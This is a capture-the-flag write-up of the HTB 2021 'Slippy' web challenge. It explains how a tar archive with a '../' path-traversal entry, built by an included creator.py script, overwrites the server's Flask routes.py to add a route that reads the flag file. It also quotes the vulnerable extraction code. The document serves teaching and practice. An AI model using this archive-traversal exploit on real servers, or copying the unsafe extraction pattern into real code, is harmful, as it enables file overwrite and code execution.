HTB 2021 Uni CTF Quals - Slippy

This challenge consisted of a website where you can upload a gzipped tar file (.tar.gz). When uploading an archive, you get back a list of the files contained in the archive - extracted on the remote machine.

This gave us the initial idea of creating an archive containing a symbolic link to the flag file. This ended up being impossible due to the extraction code, which contains a check that a file is a regular file. If it isn’t, it won’t be moved to a location where we can simply access it (the code was included with the challenge):

def extract_from_archive(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
        os.makedirs(extractdir, exist_ok=True)

        extracted_filenames = []

        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                filename = f'{extractdir}/{name}'
                os.rename(os.path.join(tmp, name), filename)
                extracted_filenames.append(filename)
                continue
            
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)

        tar.close()
        return extracted_filenames

    return False

When looking at this code, there is something else that stands out. The location where files are moved to is decided by appending the filename to a directory. So we checked if we could use relative names in tarfiles, when we stumbled across this writeup: https://blog.bi0s.in/2020/06/07/Web/Defenit20-TarAnalyzer/. So we can overwrite a file through the extractall from Tarfile already.

Now it was just deciding what to overwrite with which content. We decided on overwriting the routes.py file to add a route to read back the flag to us. We also wrote a creator.py script to create the archive for us. These files can be found at the end of the writeup for this challenge.

To get the flag, we only had the following steps to do:

  1. Put the creator.py and routes.py (see files below) in the same directory,
  2. Create the archive by executing python3 creator.py (it will be called file.tar),
  3. Gzip the archive: gzip file.tar; this will create file.tar.gz (the version of TarFile we had locally didn’t support generating a gzipped tarfile),
  4. Upload the file.tar.gz file, which will overwrite the routes,
  5. Navigate to http://[ip]:[port]/flag in the browser to retrieve the flag.

HTB{i_slipped_my_way_to_rce}

One notable thing in the creator.py file is that it was necessary to include the info.mtime property. Without this, the server doesn’t think the file is newer, and will not load the new version (so no flag). By setting this to the current time, the server sees that the file has been updated and will automatically reload to use the newer file.

 Files

 routes.py

from flask import Blueprint, request, render_template, abort
from application.util import extract_from_archive

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@web.route('/flag')
def flag():
    with open('/app/flag', 'r') as f:
        return f.read()

@api.route('/unslippy', methods=['POST'])
def cache():
    if 'file' not in request.files:
        return abort(400)

    extraction = extract_from_archive(request.files['file'])
    if extraction:
        return {"list": extraction}, 200

    return '', 204

 creator.py

#!/usr/bin/env python3

import tarfile
import io
import time

tar = tarfile.TarFile("file.tar", 'w')

info = tarfile.TarInfo("../../../../../../../app/application/blueprints/routes.py")

with open("routes.py", "rb") as f:
        content = f.read()

info.size = len(content)
info.mtime = time.time()

tar.addfile(info, io.BytesIO(content))

tar.close()